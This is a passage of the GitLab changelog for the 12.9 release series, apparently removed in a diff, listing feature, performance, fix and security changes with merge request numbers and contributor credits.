-- Only display mirrored URL to users who can manage Repository settings. !27166
-- Disable lookup of other ActiveSessions to determine admin mode status. !27318 (Diego Louzán)
-- Extract X509::Signature from X509::Commit. !27327 (Roger Meier)
-- Show user statistics in admin area also in CE, and use daily generated data for these statistics. !27345
-- Update aws-ecs image location in CI template. !27382
-- Update More Pages button on Wiki Page. !27499
-- Update ApplicationLimits to prefer defaults. !27574
-- Allow external diff files to be removed. !27602
-- Add atomic and cleanup-on-fail parameters for Helm. !27721
-- Change the url when the timeslider changes. !27726
-- Add user_details.bio column and migrate data from users.bio. !27773
-- WAF settings will be read-only if there is a new version of ingress available. !27845
-- Add an helper to check if a notification_event is enabled. !27880 (Jacopo Beschi @jacopo-beschi)
-- Ensure freshness of settings with snippet creation. !27897
-- Update copies in Admin Panel > Repository Storage section. !27986
-- Add event tracking to Container regstry quickstart. !27990
-- Render snippet repository blobs. !28085
-- Accept `author_username` as a param in Merge Requests API. !28100
-- Use rich icons for thw rows on the file tree. !28112
-- Renamed Contribution Charts as Repository Analytics. !28162
-- Move Alerting feature to Core. !28196
-- Add file-based pipeline conditions to default Auto DevOps CI template. !28242
-- Make pipeline info in chat notifications concise. !28284
-- Use different approval icon if current user approved. !28290 (Steffen Köhler)
-- Remove repeated examples in user model specs. !28450 (Rajendra Kadam)
-- Show only active environments in monitoring dropdown. !28456
-- Enable container expiration policies by default for new projects. !28480
-- Show snippet error update to the user. !28516
-- Move 'Additional Metrics' feature to GitLab Core. !28527
-- Add ability to search by environment state in environments GraphQL API. !28567
-- Add correlation_id to project_mirror_data, expose in /import API endpoints. !28662
-- Add status column to container_registry. !28682
-- Cleanup the descriptions of some fields of GraphQL ProjectType. !28735
-- Add Project template for Static Site Editor / Middleman. !28758
-- Remove duplicate show spec in admin routing. !28790 (Rajendra Kadam)
-- Add Fluentd model for cluster apps. !28846
-- Add grab cursor for operations dashboard cards. !28868
-- Update copy when snippet git feature disabled. !28913
-- Expose relations that failed to import in /import endpoints. !28915
-- Update informational text on Edit Release page. !28938
-- Add support for dot (.) in variables masking. !29022
-- Update Auto DevOps docker version to 19.03.8. !29081
-- Make search redaction more robust. !29166
-- Enable async delete in container repository list. !29175
-- Make manual prometheus configuration section always editable. !29209
-- Adjust label title applied to issues on import from Jira. !29246
-- Track statistics per project for jira imported issues. !29406
-- Display local timezone in log explorer. !29409
-- Allow to retry submitting changes when an error occurs. !29434
-- Define dashboard dropdowns layout in flex to improve support smaller screens. !29477
-- Update auto-deploy-image to v0.13.0 for deploy job, enabling more granular control over service.enabled. !29524
-- Do not display branch link in saved changes message UI. !29611
-- Redesign Jira issue import UI. !29671
-- Add support for /file_hooks directory. !29675
-- Sort the project dropdown by star count when moving issues. !29766
-- Increase the timing of polling for the merge request widget.
-
-### Performance (45 changes)
-
-- Limits issues displayed on milestones. !23102
-- Optimize suggestions counters. !26443
-- Prefetch DNS for asset host. !26868
-- Move bots functionality to user_type column. !26981
-- Optimize projects_service_active queries performance in usage data. !27093
-- Optimize projects_mirrored_with_pipelines_enabled query performance in usage data. !27110
-- Optimize ldap keys counters query performance in usage data. !27309
-- Enable Workhorse upload acceleration for Project Import uploads via UI. !27332
-- Cache ES enabled namespaces and projects. !27348
-- Optimize template_repositories query by using batch counting. !27352
-- Reduce SQL queries when rendering webhook settings. !27359
-- Reduce number of SQL queries for service templates. !27396
-- Improve Advanced global search performance by using routing. !27398
-- Improve performance of the container repository cleanup tags service. !27441
-- Optimize usage ping queries by using batch counting. !27455
-- Fix redundant query execution when loading board issues. !27505
-- Optimize projects_enforcing_code_owner_approval counter query performance for usage ping. !27526
-- Optimize projects_reporting_ci_cd_back_to_github query performance for usage data. !27533
-- Optimize service desk enabled projects counter. !27589
-- Improve pagination in discussions API. !27697
-- Improve API response for archived project searchs. !27717
-- Optimize ci builds counters in usage data. !27770
-- Enable streaming serializer feature flag by default. !27813
-- Harden jira usage data. !27973
-- Create merge request pipelines in background jobs. !28024
-- Optimize ci builds non distinct counters in usage data. !28027
-- Remove feature flag 'export_fast_serialize' and 'export_fast_serialize_with_raw_json'. !28037
-- Improve API response for descending internal project searches. !28038
-- Make Rails.cache and Gitlab::Redis::Cache share the same Redis connection pool. !28074
-- Introduce rate limit for creating issues via web UI. !28129
-- Introduce rate limit for creating issues via API. !28130
-- Remove unnecessary index index_ci_builds_on_name_for_security_reports_values. !28224
-- Disallow distinct count for regular batch count. !28518
-- Resolve an N+1 in merge request CI variables. !28688
-- Use faster streaming serializer for project exports. !28925
-- Add index for created_at of resource_milestone_events. !28929
-- Optimize issues with embedded grafana charts usage counter. !28936
-- Avoid scheduling duplicate sidekiq jobs. !29116
-- Optimize projects with repositories enabled usage data. !29117
-- Use diff-stats for calculating raw diffs modified paths. !29134
-- Optimize protected branches usage data. !29148
-- Refresh only existing MRs on push. !29420
-- Reduce SQL requests number for CreateCommitSignatureWorker. !29479
-- Remove redundant index from projects table. !29507
-- Add index on users.unlock_token. !276298
-
-### Added (140 changes, 33 of them are from the community)
-
-- New package list is enabled which includes filtering by type. !18860
-- Create a rake task to cleanup unused LFS files. !21747
-- Support Asciidoc docname attribute. !22313 (Jouke Witteveen)
-- Adds features to delete stopped environments. !22629
-- Highlight line which includes search term is code search results. !22914 (Alex Terekhov (terales))
-- Allow embedded metrics charts to be hidden. !23929
-- Add toggle all discussions button to MRs. !24670 (Martin Hobert & Diego Louzán)
-- Store daily code coverages into ci_daily_report_results table. !24695
-- Add cluster management project template. !25318
-- Add limit metric to lists. !25532
-- Add support for Okta as a SCIM provider. !25649
-- Add grape custom validator for git reference params. !26102 (Rajendra Kadam)
-- Add healthy column to clusters_applications_prometheus table. !26168
-- Add API endpoint to list runners for a group. !26328
-- Add unlock_membership_to_ldap boolean to Groups. !26474
-- Adds wiki metadata models. !26529
-- Create model to store Terraform state files. !26619
-- Improve logs dropdown with more clear labels. !26635
-- Add all pods view to logs explorer. !26883
-- Add first_contribution to single merge request API. !26926
-- Populate user_highest_roles table. !27127
-- Add option for switching between blocking and logging for WAF. !27133
-- Add bar chart support to monitoring dashboard. !27155
-- Start merge request for custom dashboard if new branch is provided. !27189
-- Update user's highest role to keep the users statistics up to date. !27231
-- Make "Value Stream" the default page that appears when clicking the project-level "Analytics" sidebar item. !27279 (Gilang Gumilar)
-- Add metric to derive new users count. !27351
-- Display cluster type in cluster info page. !27366
-- Improve logs filters on mobile, simplify kubernetes API logs filters. !27484
-- Adds branch information to the package details title section. !27488
-- Add forking_access_level to projects API. !27514 (Mathieu Parent)
-- Add a DB column to track external issue and epic ids when importing from external sources. !27522
-- Added Edit Title shared component. !27582
-- Add metrics dashboard annotation model, relation, policy, create and delete services. To provide interface for create and delete operations. !27583
-- Adds filter by name to the packages list. !27586
-- Allow querying of Jira imports and their status via GraphQL. !27587
-- Update Gitaly to 12.9.0-rc5. !27631
-- Add filtered search for elastic search in logs. !27654
-- Add cost factor fields to ci runners. !27666
-- Add auto_ssl_failed to pages_domains. !27671
-- Allow to start Jira import through graphql mutation. !27684
-- Add terraform report to merge request widget. !27700
-- Read metadata from Wiki front-matter. !27706
-- Support custom graceful timeout for Sidekiq Cluster processes. !27710
-- Show storage size on project page. !27724 (Roger Meier)
-- Upload a design by copy/pasting the file into the Design Tab. !27776
-- Update Active checkbox component to use toggle. !27778
-- Add namespace_storage_size_limit to application settings. !27786
-- Add issues to graphQL group endpoint. !27789
-- Enable container registry at the group level. !27814
-- Expose created_at property in Groups API. !27824
-- Add an endpoint to allow group admin users to purge the dependency proxy for a group. !27843
-- Filter health endpoint metrics. !27847
-- Add support for system note metadata in project Import/Export. !27853 (Melvin Vermeeren)
-- Add daily job to create users statistics. !27883
-- Add DS_REMEDIATE env var to dependency scanning template. !27947
-- Add Swift Dockerfile to GitLab templates. !28035
-- Generate JWT and provide it to CI jobs for integration with other systems. !28063
-- Update user's highest role to keep the users statistics up to date. !28087
-- Add jira_imports table to track current jira import progress as well as historical imports data. !28108
-- Add initial support for Cloud Native Buildpacks in Auto DevOps builds. !28165
-- Add app server type to usage ping. !28189
-- Add last_activity_before and last_activity_after filter to /api/projects endpoint. !28221 (Roger Meier)
-- Expose basic project services attributes through GraphQL. !28234
-- Add environment-state flag to metrics data. !28237
-- Allow defining of metric step in dashboard yml. !28247
-- Separate validators into own class files. !28266 (Rajendra Kadam)
-- Refactor push rules and add push_rule_id columns in project settings and application settings. !28286
-- Added support for single-token deletion via option/ctrl-backspace or search-filter clearing via command-backspace in filtered search. !28295 (James Becker)
-- Enable log explorer to use the full height of the screen. !28312
-- Automatically assign id to each panel within dashboard to support panel scoped annotations. !28341
-- Add Praefect rake task to print out replica checksums. !28369
-- Add rake task to update x509 signatures. !28406 (Roger Meier)
-- Add application setting to enable container expiration and retention policies on pre 12.8 projects. !28479
-- Add Prometheus alerts automatically after Prometheus Service was created. !28503
-- Add ability to filter commits by author. !28509
-- Add usage data metrics for instance level clusters and clusters with management projects. !28510
-- Add slash command support for merge train. !28532
-- Add metrics dashboard annotations to GraphQL API. !28550
-- Refactor duplicate specs in wiki page specs. !28551 (Rajendra Kadam)
-- Refactor duplicate member specs. !28574 (Rajendra Kadam)
-- Remove design management as a license feature. !28589
-- Add api endpoint to get x509 signature. !28590 (Roger Meier)
-- Refactored Snippet edit form to Vue. !28600
-- Add support for database-independent embedded metric charts. !28618
-- Fix issuable duplicate spec. !28632 (Rajendra Kadam)
-- Fix build duplicate spec. !28633 (Rajendra Kadam)
-- Remove duplicate specs in ability model. !28644 (Rajendra Kadam)
-- Remove duplicate specs in update service spec. !28650 (Rajendra Kadam)
-- Add added_lines and removed_lines columns to merge_request_metrics table. !28658
-- Remove duplicate specs in pipeline message spec. !28664 (Rajendra Kadam)
-- Implement Terraform State API with locking. !28692
-- Move export issues feature to core. !28703
-- Add status endpoint to Pages Internal API. !28743
-- Enable last user activity logging on the REST API. !28755
-- Refresh metrics dashboard data without reloading the page. !28756
-- Update duplicate specs in update large table spec. !28787 (Rajendra Kadam)
-- Fix duplicate spec in factory relation spec. !28794 (Rajendra Kadam)
-- Remove duplicate spec from changelog spec. !28801 (Rajendra Kadam)
-- Remove duplicate spec from closing issue spec. !28803 (Rajendra Kadam)
-- Allow Release links to be edited on the Edit Release page. !28816
-- Create operations_user_lists table. !28822
-- Added the clone button for Snippet view. !28840
-- Add Fluentd table for cluster apps. !28844
-- Fix duplicate spec from user helper spec. !28854 (Rajendra Kadam)
-- Add missing spec for gitlab schema. !28855 (Rajendra Kadam)
-- Fix duplciate spec in merge requests. !28856 (Rajendra Kadam)
-- Fix duplicate spec in environment finder. !28857 (Rajendra Kadam)
-- Fix duplicate spec in template dropdown spec. !28858 (Rajendra Kadam)
-- Fix duplicate spec in user post diff notes. !28859 (Rajendra Kadam)
-- Fix duplicate spec in filter issues. !28860 (Rajendra Kadam)
-- Remove `ci_dag_support` feature flag. !28863 (Lee Tickett)
-- Validate dependency on job generating a CI config when using dynamic child pipelines. !28901
-- Add read_api scope to personal access tokens for granting read only API access. !28944
-- Add a new default format(engineering notation) for yAxis labels in monitor charts. !28953
-- Add write_registry scope to deploy tokens for container registry push access. !28958
-- Add Nginx error percentage metric. !28983
-- Provide configuration options for Static Site Editor. !29058
-- Remove blobs_fetch_in_batches feature flag. !29069
-- API endpoint to create annotations for environments dashboard. !29089
-- Add graphQL interface to fetch metrics dashboard. !29112
-- Add typed AWS environment variables for access keys & region. !29124
-- Add line range to diff note position. !29135
-- Add push rules association for groups. !29144
-- Gather historical pod list from Elasticsearch. !29168
-- Save changes in Static Site Editor using REST GitLab API. !29286
-- Add temporary empty message when no result is found. !29306
-- Add API endpoint to get users without projects. !29347
-- Add status page url field to DB and setting model. !29357
-- Add metrics_dashboard_access_level to project features. !29371
-- Add a database column to enable or disable group owners from changing the default branch protection setting of a group. !29397
-- Allow sorting of issue and MR discussions. !29492
-- Update UI for project and group settings CI variables. !29584
-- Add GRADLE_CLI_OPTS and SBT_CLI_OPTS env vars to dependency scanning orchestrator. !29595
-- Add name_regex_keep to container_expiration_policies. !29618
-- Adds Knative and Fluentd as CI/CD managed applications. !29637
-- Add jira issues import feature.
-- Add wildcard case in documentation for artifacts. (Fábio Matavelli)
-- Add namespace storage size limit setting.
-- Add placeholders to broadcast message notifications.
-
-### Other (48 changes, 16 of them are from the community)
-
-- Convert schema to plain SQL using structure.sql. !22808
-- Provide link to a survey for Knative users. !23025
-- Complete the migration of Job Artifact to Security Scan. !24244
-- Migrate .fa-spinner to .spinner for app/views/shared/notes. !25028 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/ci/variables. !25030 (nuwe1)
-- Migrate .fa-spinner to .spinner for ee/app/views/projects/settings. !25038 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/projects/mirrors. !25041 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/projects/network. !25050 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/groups. !25053 (nuwe1)
-- Replace underscore with lodash for ./app/assets/javascripts/vue_shared. !25108 (Tobias Spagert)
-- Remove health_status column from epics. !26302
-- Show object access warning when disabling repo LFS. !26696
-- Update icons in Sentry Error Tracking list for ignored/resolved errors. !27125
-- Use Ruby 2.7 in specs to remove Ruby 2.1/2.2/2.3. !27269 (Takuya Noguchi)
-- Fill user_type for ghost users. !27387
-- Add Bitbucket Importer metrics. !27524
-- Consume remaining LinkLFsObjectsProjects jobs. !27558
-- Update GitLab Runner Helm Chart to 0.15.0. !27670
-- Log Redis call count and duration to log files. !27735
-- Use id instead of cve where possible when parsing remediations. !27815
-- Log member additions when importing Project/Group. !27930
-- Change project_export_worker urgency to throttled. !27941
-- Add missing track_exception() call to Ci::CreateJobArtifactsService. !27954
-- Add possibility to conigure additional rails hosts with env variable. !28133
-- Remove new issue tooltip. !28261 (Victor Wu)
-- Improve message when promoting project labels. !28265
-- Change the link to chart copy text. !28371
-- Conditional mocking of admin mode in specs by directory. !28420 (Diego Louzán)
-- Align color and font-weight styles of heading elements and their typography classes. !28422
-- Fix merge request thread’s icon buttons color. !28465
-- Updated spinner next to forking message. !28506 (Victor Wu)
-- Replaced old-style buttons with the new ones on Snippet view. !28614
-- Change redo for retry icon in metrics dashboard. !28670
-- Remove User's association max_access_level_membership. !28757
-- Reduce urgency of EmailsOnPushWorker. !28783
-- Use concern instead of service to update highest role. !28791
-- Normalize error message between Gitea and Fogbugz importers. !28802
-- Fix keyboard shortcut to navigate to your groups. !28873 (Victor Wu)
-- Fix keyboard shortcut to navigate to dashboard activity. !28985 (Victor Wu)
-- Remove unused index for vulnerability severity levels. !29023
-- Update query labels dynamically for embedded charts. !29034
-- Refactor projects/:id/packages API to supply only necessary params to PackagesFinder. !29052 (Sashi Kumar)
-- Implement showing CI bridge error messages. !29123
-- Update GitLab Shell to v12.1.0. !29167
-- Update GitLab Elasticsearch Indexer. !29256
-- Add Gitlab User-Agent to ContainerRegistry::Client. !29294 (Sashi Kumar)
-- Improve error message in DAST CI template. !29388
-- Remove store_mentions! in Snippets::CreateService. !29581 (Sashi Kumar)
-
-
-## 12.9.10 (2020-06-10)
-
-- No changes.
-
-## 12.9.8 (2020-05-27)
-
-### Security (13 changes)
-
-- Hide EKS secret key in admin integrations settings.
-- Added data integrity check before updating a deploy key.
-- Display only verified emails on notifications and profile page.
-- Disable caching on repo/blobs/[sha]/raw endpoint.
-- Require confirmed email address for GitLab OAuth authentication.
-- Kubernetes cluster details page no longer exposes Service Token.
-- Fix confirming unverified emails with soft email confirmation flow enabled.
-- Disallow user to control PUT request using mermaid markdown in issue description.
-- Check forked project permissions before allowing fork.
-- Limit memory footprint of a command that generates ZIP artifacts metadata.
-- Fix file enuming using Group Import.
-- Prevent XSS in the monitoring dashboard.
-- Use `gsub` instead of the Ruby `%` operator to perform variable substitution in Prometheus proxy API.
-
-
-## 12.9.6 (2020-05-05)
-
-### Fixed (1 change)
-
-- Add a Project's group to list of groups when parsing for codeowner entries. !30934
-
-
-## 12.9.5 (2020-04-30)
-
-### Security (9 changes)
-
-- Ensure MR diff exists before codeowner check.
-- Apply CODEOWNERS validations to web requests.
-- Prevent unauthorized access to default branch.
-- Do not return private project ID without permission.
-- Fix doorkeeper CVE-2020-10187.
-- Prevent ES credentials leak.
-- Change GitHub service integration token input to password.
-- Return only safe urls for mirrors.
-- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
-
-
-## 12.9.4 (2020-04-16)
-
-- No changes.
-### Fixed (5 changes, 1 of them is from the community)
-
-- Fix not working File upload from Project overview page. !26828 (Gilang Gumilar)
-- Fix storage rollback regression caused by previous refactor. !28496
-- Fix incorrect regex used in FileUploader#extract_dynamic_path. !28683
-- Fully qualify id columns for keyset pagination (Projects API). !29026
-- Fix Slack notifications when upgrading from old GitLab versions. !29111
-
-
-## 12.9.3 (2020-04-14)
-
-### Security (3 changes)
-
-- Refresh ProjectAuthorization during Group deletion.
-- Prevent filename bypass on artifact upload.
-- Update rack and related gems to 2.0.9 to fix security issue.
-
-
-## 12.9.2 (2020-03-31)
-
-### Fixed (5 changes)
-
-- Ensure import by URL works after a failed import. !27546
-- Fix issue/MR state not being preserved when importing a project using Project Import/Export. !27816
-- Leave upload Content-Type unchaged. !27864
-- Disable archive rate limit by default. !28264
-- Fix rake gitlab:setup failing on new installs. !28270
-
-### Changed (1 change)
-
-- Rename feature on the FE and locale.
-
-### Performance (1 change)
-
-- Index issues on sent_notifications table. !27034
-
-
-## 12.9.1 (2020-03-26)
-
-### Security (16 changes)
-
-- Add permission check for pipeline status of MR.
-- Ignore empty remote_id params from Workhorse accelerated uploads.
-- External user can not create personal snippet through API.
-- Prevent malicious entry for group name.
-- Restrict mirroring changes to admins only when mirroring is disabled.
-- Reject all container registry requests from blocked users.
-- Deny localhost requests on fogbugz importer.
-- Redact notes in moved confidential issues.
-- Fix UploadRewriter Path Traversal vulnerability.
-- Block hotlinking to repository archives.
-- Restrict access to project pipeline metrics reports.
-- vulnerability_feedback records should be restricted to a dev role and above.
-- Exclude Carrierwave remote URL methods from import.
-- Update Nokogiri to fix CVE-2020-7595.
-- Prevent updating trigger by other maintainers.
-- Fix XSS vulnerability in `admin/email` "Recipient Group" dropdown.
-
-### Fixed (1 change)
-
-- Fix updating the authorized_keys file. !27798
-
-
-## 12.9.0 (2020-03-22)
-
-### Security (1 change)
-
-- Update Puma to 4.3.3. !27232
-
-### Removed (3 changes)
-
-- Remove staging from commit workflow in the Web IDE. !26151
-- Remove and deprecate snippet content search. !26359
-- Remove "Analytics" suffix from the sidebar menu items. !26415
-
-### Fixed (117 changes, 19 of them are from the community)
-
-- Set all NULL `lock_version` values to 0 for issuables. !18418
-- Support finding namespace by ID or path on fork API. !20603 (leoleoasd)
-- Fixes caret position after pasting an image 15011. !21382 (Carolina Carvalhosa)
-- Use of sha instead of ref when creating a new ref on deployment creation. !23170
-- Fix logic to determine project export state and add regeneration_in_progress state. !23664
-- Create child pipelines dynamically using content from artifact as CI configuration. !23790
-- Handle Gitaly failure when fetching license. !24310
-- Fix error details layout and alignment for mobile view. !24390
-- Added the multiSelect option to stop event propagation when clicking on the dropdown. !24611 (Gwen_)
-- Activate Prometheus integration service for newly created project if this project has access to shared Prometheus application. !24676
-- Fix Jump to next unresolved thread. !24728
-- Require a logged in user to accept or decline a term. !24771
-- Fix quick actions executing in multiline inline code when placed on its own line. !24933 (Pavlo Dudchenko)
-- Fix timezones for popovers. !24942
-- Prevent "Select project to create merge request" button from overflowing out of the viewport on mobile. !25195
-- Add validation for updated_at parameter in update Issue API. !25201 (Filip Stybel)
-- Elasticsearch: when index is absent warn users and disable index button. !25254
-- Fix pipeline details page initialisation on invalid pipeline. !25302 (Fabio Huser)
-- Fix bug with sidebar not expanding at certain resolutions. !25313 (Lee Tickett)
-- Rescue elasticsearch server error in pod logs. !25367
-- Fix project setting approval input in non-sequential order. !25391
-- Add responsivity to cluster environments table. !25501
-- Board issue due dates appear grey for closed past-due issues. !25507 (rachelfox)
-- Fix self monitoring project link. !25516
-- Don't track MR deployment multiple times. !25537
-- Fix an issue with Group Import members with Owner access level being imported with Maintainer access level. Owner access level is now preserved. !25595
-- Allow 0 to be set for pages maximum size per project/group to indicate unlimited size. !25677
-- Fix variable passthrough in the SAST CI/CD template when using DinD. !25697
-- Drop bridge if downstream pipeline has errors. !25706
-- Clean stale background migration jobs. !25707
-- Inject CSP values when repository static objects external caching is enabled. !25711
-- Fix bug deleting internal project snippets by project maintainer. !25792
-- Fix Insights displaying JSON on back navigation. !25801
-- Don't show issue as blocked on the issue board if blocking issue is closed. !25817
-- Return 503 to the Runner when the object storage is unavailable. !25822
-- Ensure temp export data is removed if Group/Project export failed. !25828
-- Fix Kubernetes namespace resolution for new DeploymentCluster records. !25853
-- Fix links to exposed artifacts in MRs from forks. !25868 (Daniel Stone)
-- Keep needs association on the retried build. !25888
-- Remove unreachable link from embded dashboard context menu. !25892
-- Fix issue importer so it matches issue export format. !25896
-- Fix snippet blob viewers for rich and plain data. !25945
-- Fix White syntax highlighting theme in Monaco to closely match the Pygments theme. !25966
-- Markup tips for Markdown shown while editing wiki pages in other formats. !25974
-- Fix code search pagination on a custom branch. !25984
-- Fix Snippet content incorrectly caching. !25985
-- Fix 500 error caused by Kubernetes logs not being encoded in UTF-8. !25999
-- Fix "Add an epic" form. !26003
-- Ensure weight changes no longer render duplicate system notes. !26014
-- Geo: Show secondary-only setting on only on secondaries. !26029
-- Fixes project import failures when user is not part of any groups. !26038
-- Fix ImportFailure when restore ci_pipelines:external_pull_request relation. !26041
-- Code Review Analytics: Fix review time display. !26057
-- Allow to fork to the same namespace and different path via API call. !26062
-- Change back internal api return code. !26063
-- Create approval todos on update. !26077
-- Fix issues missing on epic's page after project import. !26099
-- Fix scoped labels rendering in To-Do List. !26146
-- Fix 500 Error when using Gitea Importer. !26166
-- Fix dev vulnerabilities seeder. !26169
-- Use uncached SQL queries for Geo long-running workers. !26187
-- Fix infinite spinner on error detail page. !26188
-- Generate proper link for Pipeline tab. !26193
-- Issue Analytics: Fix svg illustration path for empty state. !26219
-- Fix dashboards dropdown if custom dashboard is broken. !26228
-- Refresh widget after canceling "Merge When Pipeline Succeeds". !26232
-- Fix package file finder for conan packages with a conan_package_reference filter. !26240
-- Fixed bug where processing NuGet packages are returned from the Packages API. !26270
-- Fix bug committing snippet content when creating the snippet. !26287
-- Fix error messages for dashboard clonning process. !26290
-- Fix saving preferences with unrelated changes when gitaly timeouts became invalid. !26292
-- Allow creating default branch in snippet repositories. !26294
-- Container expiration policy settings hide form on API error. !26303
-- Prevent unauthorized users to lock an issue from the collapsed sidebar. !26324 (Gilang Gumilar)
-- Mark existing LFS object for upload for forks. !26344
-- Fix scoped labels rendering in emails. !26347
-- Fix issues with non-ASCII plain text files being incorrectly uploaded as binary in the Web IDE. !26360
-- Polyfill fetch for Internet Explorer 11. !26366
-- Fix avg_cycle_analytics uncaught error and optimize query. !26381
-- Fix reversed pipeline order on Project Import. !26390
-- Display GitLab issues created via Sentry global integration. !26418
-- Fix MergeToRefService raises Gitlab::Git::CommandError. !26465
-- Render special references for releases. !26554
-- Show git error message updating snippet. !26570
-- Support Rails 6 `insert_all!`. !26595
-- Fix evidence SHA clipboard hover text. !26608 (Gilang Gumilar)
-- Prevent editing weight to scroll to the top. !26613 (Gilang Gumilar)
-- Fix spinner in Create MR dropdown. !26679
-- Added a padding-right to items in subgroup list. !26791
-- Prevent default overwrite for theme and color ID in user API. !26792 (Fabio Huser)
-- Fix user registration when smartcard authentication is enabled. !26800
-- Correctly send notification on pipeline retry. !26803 (Jacopo Beschi @jacopo-beschi)
-- Default to generating blob links for missing paths. !26817
-- Fix Mermaid flowchart width. !26848 (julien MILLAU)
-- Ensure valid mount point is used by attachments on notes. !26849
-- Validate that users selects at least two subnets in EKS Form. !26936
-- Fix embeds so that a chart appears only once. !26997
-- Fix capybara screenshots path name for rails configuration. !27002
-- Fix access to logs when multiple pods exist. !27008
-- Fix installation of GitLab-managed crossplane chart. !27040
-- Fix bug displaying snippet update error. !27082
-- Fix WikiPage#title_changed for paths with spaces. !27087
-- Fix backend validation of numeric emoji names. !27101
-- Reorder exported relations by primary_key when using Project Export. !27117
-- Ensure freshness of settings with project creation. !27156
-- Fix bug setting hook env with personal snippets. !27235
-- Fix Conan package download_urls and snapshot to return files based on requested conan_package_reference. !27250
-- Fixes stop_review job upon expired artifacts from previous stages. !27258 (Jack Lei)
-- Fix duplicate labels when moving projects within the same ancestor group. !27261
-- Fix project moved message after git operation. !27341
-- Fix submodule links to gist.github.com. !27346
-- Fix remove special chars from snippet url_to_repo. !27390
-- Validate actor against CODEOWNERS entries.
-- Fix: tableflip quick action is interpreted even if inside code block. (Pavlo Dudchenko)
-- Fix an error with concat method.
-- Improved selection of multiple cards. (Gwen_)
-- Resolves the disappearance of a ticket when it was moved from the closed list. (Gwen_)
-
-### Deprecated (1 change)
-
-- Remove state column from issues and merge_requests. !25561
-
-### Changed (81 changes, 18 of them are from the community)
-
-- Remove kubernetes workaround in container scanning. !21188
-- New styles for scoped labels. !21377
-- Update labels in Vue with GlLabel component. !21465
-- Update Web IDE clientside preview bundler to use GitLab managed server. !21520
-- Allow default time window on grafana embeds. !21884
-- Default to first valid panel in unspecified Grafana embeds. !21932
-- Correctly style scoped labels in sidebar after updating. !22071
-- Add id and image_v432x230 columns to design_management_designs_versions. !22860
-- Decouple Webhooks from Integrations within Project > Settings. !23136
-- Sort closed issues on issue boards using time of closing. !23442 (briankabiro)
-- Differentiate between errors and failures in xUnit result. !23476
-- Add 'shard' label for 'job_queue_duration_seconds' metric. !23536
-- Migrate mentions for design notes to design_user_mentions DB table. !23704
-- Migrate mentions for commit notes to commit_user_mentions DB table. !23859
-- Update files when snippet is updated. !23993
-- Move issues routes under /-/ scope. !24791
-- Migrated the sidebar label select dropdown title component spinner to utilize GlLoadingIcon. !24914 (Raihan Kabir)
-- Migrated from .fa-spinner to .spinner in 'app/assets/javascripts/notes.js. !24916 (Raihan Kabir (gitlab/rk4bir))
-- Migrated from .fa-spinner to .spinner in app/assets/javascripts/create_merge_request_dropdown.js. !24917 (Raihan Kabir (gitlab/rk4bir))
-- Migrated from .fa-spinner to .spinner in app/assets/javascripts/sidebar/components/assignees/assignee_title.vue. !24919 (rk4bir)
-- Replace underscore with lodash for ./app/assets/javascripts/deploy_keys. !24965 (Jacopo Beschi @jacopo-beschi)
-- Replace underscore with lodash for ./app/assets/javascripts/badges. !24966 (Jacopo Beschi @jacopo-beschi)
-- Add commits limit text at graphs page. !24990
-- Migrated from .fa-spinner to .spinner in app/assets/javascripts/blob/template_selector.js. !25045 (Raihan Kabir (gitlab/rk4bir))
-- Update iOS (Swift) project template logo. !25049
-- Sessionless and API endpoints bypass session for admin mode. !25056 (Diego Louzán)
-- New loading spinner for attachemnt uploads via discussion boxes. !25057 (Philip Jonas)
-- Hide the private commit email in Notification email list. !25099 (briankabiro)
-- Replace underscore with lodash in /app/assets/javascripts/blob/. !25113 (rkpattnaik780)
-- Allow access to /version API endpoint with read_user scope. !25211
-- Use only the first line of the commit message on chat service notification. !25224 (Takuya Noguchi)
-- Include invalid directories in wiki title message. !25376
-- Replace avatar and favicon upload type consistency validation with content whitelist validation. !25401
-- Showing only "Next" button for snippet explore page. !25404
-- Moved Deploy Keys from Repository to CI/CD settings. !25444
-- Move pod logs to core. !25455
-- Improve error messages of failed migrations. !25457
-- Hides the "Allowed to fail" tag on jobs that are successful. !25458
-- Disable CSRF protection on logout endpoint. !25521 (Diego Louzán)
-- Ensure all errors are logged in Group Import. !25619
-- Tweak wiki page title handling. !25647
-- Add refresh dashboard button. !25716
-- Disable draggable behavior on the epic tree chevron (collapse/expand) button. !25729
-- Rate limit archive endpoint by user. !25750
-- Improve audit log header layout. !25821
-- Migrate mentions for merge requests to DB table. !25826
-- Align git returned error codes. !25936
-- Split cluster info page into tabs. !25940
-- Remove visibility check from epic descendant counts. !25975
-- Use colon to tokenize input in filtered search. !26072
-- Add link to dependency proxy docs on the dependency proxy page. !26092
-- Remove Puma notices from AdminArea banner. !26137
-- Add airgap support to Dependency Scanning template. !26145
-- 27880 Make release notes optional and do not delete release when they are removed. !26231 (Pavlo Dudchenko)
-- Limit notification-type broadcast display to web interface. !26236 (Aleksandrs Ļedovskis)
-- Update renewal banner link for clearer instructions. !26240
-- Special handling for the rich viewer on specific file types. !26260
-- Rename pod logs to logs. !26313
-- Ensure checksums match when updating repository storage. !26334
-- Bump Auto Deploy image to v0.12.1. !26336
-- Use cert-manager 0.10 instead of 0.9 for new chart installations. !26345
-- Use y-axis format configuration in column charts. !26356
-- Add Prometheus metrics for Gitaly and database time in background jobs. !26384
-- Batch processing LFS objects downloads. !26434
-- Add edit custom metric link to metrics dashboard. !26511
-- Remove unused file_type column from packages_package_files. !26527
-- Enable client-side GRPC keepalive for Gitaly. !26536
-- Use ReplicateRepository when moving repo storage. !26550
-- Add functionality to render individual mermaids. !26564
-- Sync snippet after Git action. !26565
-- In single-file editor set syntax highlighting theme according to user's preference. !26606
-- Introduce a feature flag for Notifications for when pipelines are fixed. !26682 (Jacopo Beschi @jacopo-beschi)
-- Replace checkbox by toggle for ModSecurity on Cluster App Page. !26720
-- Change capybara screenshots files names taken on tests failures. !26788
-- Update cluster-applications image to v0.11 with a runner bugfix, updated cert-manager, and vault as a new app. !26842
-- Store first commit's authored_date for value stream calculation on merge. !26885
-- Group repository contributors by email instead of name. !26899 (Hilco van der Wilk)
-- Move authorized_keys operations into their own Sidekiq queue. !26913
-- Upgrade Elastic Stack helm chart to 1.9.0. !27011
-- Enable customizable_cycle_analytics feature flag by default. !27418
-- Deemphasized styles for inline code blocks.
-
-### Performance (41 changes, 1 of them is from the community)
-
